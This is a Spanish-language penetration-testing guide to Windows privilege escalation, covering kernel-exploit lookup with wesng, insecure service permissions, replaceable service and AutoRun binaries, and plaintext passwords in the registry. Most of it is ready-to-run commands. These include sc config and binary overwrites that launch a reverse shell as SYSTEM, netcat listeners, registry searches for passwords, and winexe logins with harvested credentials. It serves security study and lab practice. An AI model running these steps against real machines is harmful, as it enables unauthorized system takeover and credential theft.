Escalación de Privilegios en entornos Windows

Escalación de Privilegios

Herramientas de enumeración:

Exploits de kernel

Para encontrar exploits asociados al kernel, debemos seguir el siguiente proceso:

  • Enumerar la versión y el nivel de parchado de Windows (usando el comando systeminfo)

  • Encontrar un exploit que haga match con la información anterior (Google, ExploitDB, Github)

  • Compilar y ejecutar el exploit

Los exploits de kernel pueden ser inestables y pueden provocar fallos en el sistema.

Existen herramientas que nos pueden ayudar con esta tarea:

Desde la máquina víctima, guardamos la información del comando systeminfo en la máquina atacante:

systeminfo > \\192.168.1.1\tools\systeminfo.txt

Desde la máquina atacante, ejecutamos wesng para buscar vulnerabilidades de kernel:

python3 wes.py --update
python3 wes.py /tools/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more

Con esta información, podemos buscar en el github de binarios pre-compilados o en los otros recursos indicados más arriba.

Servicios vulnerables

Malas configuraciones de un servicio:

  1. Permisos inseguros del servicio

  2. Unquoted Services Path

  3. Permisos débiles de registro

  4. Ejecutables inseguros del servicio

  5. DLL Hijacking

Cada servicio tiene una ACL que define ciertos permisos específicos de este.

Algunos permisos son inofensivos (como: SERVICE_QUERY_CONFIG o SERVICE_QUERY_STATUS), otros pueden ser de ayuda (como: SERVICE_STOP o SERVICE_START) y algunos pueden ser peligrosos (como: SERVICE_CHANGE_CONFIG o SERVICE_ALL_ACCESS).

Si el usuario tiene permisos para cambiar la configuración de un servicio que corre como SYSTEM, puede cambiar el ejecutable del servicio para usar el nuestro.

Rabbit Hole potencial: si podemos cambiar la configuración de un servicio, pero no podemos iniciar/detener el servicio, no seremos capaz de escalar privilegios.

Para detectar los servicios, podemos usar winPEAS:

.\winPEASany.exe quiet servicesinfo
Servicio con permisos inseguros
Servicio que podemos modificar

Si encontramos un servicio interesante, podemos usar accesschk para corroborar los permisos:

.\accesschk.exe /accepteula -uwcqv <username> <service_name>
Permisos que tiene el usuario sobre el servicio

Podemos modificar la configuración y detener/iniciar el servicio.

Validamos la configuración de este:

sc qc <service_name>
Configuración del servicio

Con esto, obtenemos el tipo de inicio del servicio, la ruta del binario, si tiene dependencias y los permisos del sistema.

Chequeamos el estado actual del servicio:

sc query <service_name>
Estado del servicio

Modificamos el PATH del binario, apuntando a nuestra shell reversa:

sc config <service_name> binpath= "\"C:\PrivEsc\reverse.exe\""
Modificación del PATH del binario del servicio

Nos ponemos a la escucha en la máquina atacante:

nc -nvlp 53

Ahora iniciamos el servicio:

net start <service_name>
Iniciamos el servicio
Shell reversa

Si el ejecutable original del servicio es modificable por nuestro usuario, podríamos reemplazarlo con nuestro propio binario.

Se recomienda siempre crear un backup del binario original.

Mediante winPEAS, validamos los servicios:

.\winPEASany.exe quiet servicesinfo
Servicio con ejecutable inseguro

Validamos la información de que el binario puede ser sobrescrito por cualquier:

.\accesschk.exe /accepteula -quvw <binary_path>
Permisos que tenemos sobre el binario

Revisamos si podemos iniciar/detener el servicio:

.\accesschk.exe /accepteula -uvqc <servicio>
Permisos sobre el servicio

Creamos un backup del binario original:

copy <binary_path> C:\Temp
Backup del binario original

Sobrescribimos el binario original:

copy /Y C:\PrivEsc\reverse.exe <binary_path>
Reemplazamos el binario original por nuestro shell reversa

Nos ponemos a la escucha:

nc -nvlp 53

Por último, iniciamos el servicio:

net start <service_name>
Iniciamos el servicio
Shell reversa

Registros vulnerables

Windows puede ser configurado para ejecutar comando al inicio de sesión, y con esto, poder escalación de privilegios.

Estos programas son configurados en un registro, donde, si tenemos permisos de escritubra sobre el ejecutable AutoRun, y somos capaces de reiniciar el sistema (o esperar a que se reinicie), podríamos ser capaces de escalar privilegios.

Podemos usar winPEAS para ver la información de las aplicaciones:

.\winPEASany.exe quiet applicationsinfo
Programa AutoRun

Con esta información, podemos obtener los AutoRuns y los permisos que tenemos en dicho programa.

Esto se puede enumerar manualmente usando el siguiente comando:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.\accesschk.exe /accepteula -wvu <AutoRun_binary_path>
Registro AutoRun
Permisos sobre el ejecutable

Generamos un backup del binario original:

copy <AutoRun_binary_path> C:\Temp
Respaldo del binario original

Sobrescribimos el binario con nuestra shell reversa:

copy /Y reverse.exe <AutoRun_binary_path>
Cambiamos el binario original por nuestra shell reversa

Iniciamos un listener:

nc -nlvp 53

Esperamos que se reinicie el sistema (o si tenemos los permisos, lo reiniciamos).

En Windows 10, los permisos del binario de AutoRun serán del último usuario logueado.

Shell reversa

Passwords

Podemos encontrar que los administradores reutilizan sus contraseñas, o las dejan en una locación legible en el sistema.

Windows puede ser muy vulnerable a esto, debido que, varias características de este almacenan las contraseñas de forma insegura.

Algunos programas almacenan sus opciones de configuración en registros de Windows.

Windows por si solo, algunas veces almacena las contraseñas en texto plano en los registros.

Vale la pena buscar contraseñas en los registros.

Con los siguientes comandos podemos buscar llaves de registros que contengan el valor password:

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

También, podemos usar winPEAS:

.\winPEASany.exe quiet filesinfo userinfo
Credenciales almacenadas en AutoLogon
Credenciales almacenadas de Putty

Al obtener las credenciales, podemos usar la herramienta winexe para obtener nuestra shell:

winexe -U 'admin%password123' //192.168.233.141 cmd.exe
Conexión usando el usuario admin

Podemos modificar un poco el comando, para obtener una shell como SYSTEM:

winexe -U 'admin%password123' --system //192.168.1.1 cmd.exe
Conexión como SYSTEM

Last updated